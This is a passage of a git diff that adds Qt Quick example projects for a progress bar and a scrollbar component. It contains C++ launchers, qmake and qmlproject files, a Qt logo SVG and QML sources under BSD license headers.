+++ b/examples/declarative/ui-components/main/qml/main/pics/niagara_falls.jpg
Binary files differ
diff --git a/examples/declarative/ui-components/main/qml/main/tab.png b/examples/declarative/ui-components/main/qml/main/tab.png
new file mode 100644
index 00000000..ad802160
--- /dev/null
+++ b/examples/declarative/ui-components/main/qml/main/tab.png
Binary files differ
diff --git a/examples/declarative/ui-components/progressbar/main.cpp b/examples/declarative/ui-components/progressbar/main.cpp
new file mode 100644
index 00000000..97b20357
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/progressbar/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/progressbar/progressbar.png b/examples/declarative/ui-components/progressbar/progressbar.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/progressbar.png
Binary files differ
diff --git a/examples/declarative/ui-components/progressbar/progressbar.pro b/examples/declarative/ui-components/progressbar/progressbar.pro
new file mode 100644
index 00000000..43375b0a
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/progressbar.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/progressbar
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEAA2206D
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/progressbar
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/progressbar/progressbar.qmlproject b/examples/declarative/ui-components/progressbar/progressbar.qmlproject
new file mode 100644
index 00000000..5b431ea5
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/progressbar.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/progressbar"
+ }
+ JavaScriptFiles {
+ directory: "qml/progressbar"
+ }
+ ImageFiles {
+ directory: "qml/progressbar"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/progressbar/progressbar.svg b/examples/declarative/ui-components/progressbar/progressbar.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/progressbar.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/progressbar/qml/progressbar/content/ProgressBar.qml b/examples/declarative/ui-components/progressbar/qml/progressbar/content/ProgressBar.qml
new file mode 100644
index 00000000..f0b14732
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/qml/progressbar/content/ProgressBar.qml
@@ -0,0 +1,83 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: progressbar
+
+ property int minimum: 0
+ property int maximum: 100
+ property int value: 0
+ property alias color: gradient1.color
+ property alias secondColor: gradient2.color
+
+ width: 250; height: 23
+ clip: true
+
+ BorderImage {
+ source: "background.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ }
+
+ Rectangle {
+ id: highlight
+
+ property int widthDest: ((progressbar.width * (value - minimum)) / (maximum - minimum) - 6)
+
+ width: highlight.widthDest
+ Behavior on width { SmoothedAnimation { velocity: 1200 } }
+
+ anchors { left: parent.left; top: parent.top; bottom: parent.bottom; margins: 3 }
+ radius: 1
+ gradient: Gradient {
+ GradientStop { id: gradient1; position: 0.0 }
+ GradientStop { id: gradient2; position: 1.0 }
+ }
+
+ }
+ Text {
+ anchors { right: highlight.right; rightMargin: 6; verticalCenter: parent.verticalCenter }
+ color: "white"
+ font.bold: true
+ text: Math.floor((value - minimum) / (maximum - minimum) * 100) + '%'
+ }
+}
diff --git a/examples/declarative/ui-components/progressbar/qml/progressbar/content/background.png b/examples/declarative/ui-components/progressbar/qml/progressbar/content/background.png
new file mode 100644
index 00000000..9044226f
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/qml/progressbar/content/background.png
Binary files differ
diff --git a/examples/declarative/ui-components/progressbar/qml/progressbar/main.qml b/examples/declarative/ui-components/progressbar/qml/progressbar/main.qml
new file mode 100644
index 00000000..200311fb
--- /dev/null
+++ b/examples/declarative/ui-components/progressbar/qml/progressbar/main.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: main
+
+ width: 600; height: 405
+ color: "#edecec"
+
+ Flickable {
+ anchors.fill: parent
+ contentHeight: column.height + 20
+
+ Column {
+ id: column
+ x: 10; y: 10
+ spacing: 10
+
+ Repeater {
+ model: 25
+
+ ProgressBar {
+ property int r: Math.floor(Math.random() * 5000 + 1000)
+ width: main.width - 20
+
+ NumberAnimation on value { duration: r; from: 0; to: 100; loops: Animation.Infinite }
+ ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Animation.Infinite }
+ ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Animation.Infinite }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/ui-components/scrollbar/main.cpp b/examples/declarative/ui-components/scrollbar/main.cpp
new file mode 100644
index 00000000..00ecf445
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/scrollbar/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/scrollbar/qml/scrollbar/ScrollBar.qml b/examples/declarative/ui-components/scrollbar/qml/scrollbar/ScrollBar.qml
new file mode 100644
index 00000000..5b1c5394
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/qml/scrollbar/ScrollBar.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: scrollBar
+
+ // The properties that define the scrollbar's state.
+ // position and pageSize are in the range 0.0 - 1.0. They are relative to the
+ // height of the page, i.e. a pageSize of 0.5 means that you can see 50%
+ // of the height of the view.
+ // orientation can be either Qt.Vertical or Qt.Horizontal
+ property real position
+ property real pageSize
+ property variant orientation : Qt.Vertical
+
+ // A light, semi-transparent background
+ Rectangle {
+ id: background
+ anchors.fill: parent
+ radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1)
+ color: "white"
+ opacity: 0.3
+ }
+
+ // Size the bar to the required size, depending upon the orientation.
+ Rectangle {
+ x: orientation == Qt.Vertical ? 1 : (scrollBar.position * (scrollBar.width-2) + 1)
+ y: orientation == Qt.Vertical ? (scrollBar.position * (scrollBar.height-2) + 1) : 1
+ width: orientation == Qt.Vertical ? (parent.width-2) : (scrollBar.pageSize * (scrollBar.width-2))
+ height: orientation == Qt.Vertical ? (scrollBar.pageSize * (scrollBar.height-2)) : (parent.height-2)
+ radius: orientation == Qt.Vertical ? (width/2 - 1) : (height/2 - 1)
+ color: "black"
+ opacity: 0.7
+ }
+}
diff --git a/examples/declarative/ui-components/scrollbar/qml/scrollbar/main.qml b/examples/declarative/ui-components/scrollbar/qml/scrollbar/main.qml
new file mode 100644
index 00000000..5fc2f660
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/qml/scrollbar/main.qml
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 640
+ height: 480
+
+ // Create a flickable to view a large image.
+ Flickable {
+ id: view
+ anchors.fill: parent
+ contentWidth: picture.width
+ contentHeight: picture.height
+
+ Image {
+ id: picture
+ source: "niagara_falls.jpg"
+ asynchronous: true
+ }
+
+ // Only show the scrollbars when the view is moving.
+ states: State {
+ name: "ShowBars"
+ when: view.movingVertically || view.movingHorizontally
+ PropertyChanges { target: verticalScrollBar; opacity: 1 }
+ PropertyChanges { target: horizontalScrollBar; opacity: 1 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "opacity"; duration: 400 }
+ }
+ }
+
+ // Attach scrollbars to the right and bottom edges of the view.
+ ScrollBar {
+ id: verticalScrollBar
+ width: 12; height: view.height-12
+ anchors.right: view.right
+ opacity: 0
+ orientation: Qt.Vertical
+ position: view.visibleArea.yPosition
+ pageSize: view.visibleArea.heightRatio
+ }
+
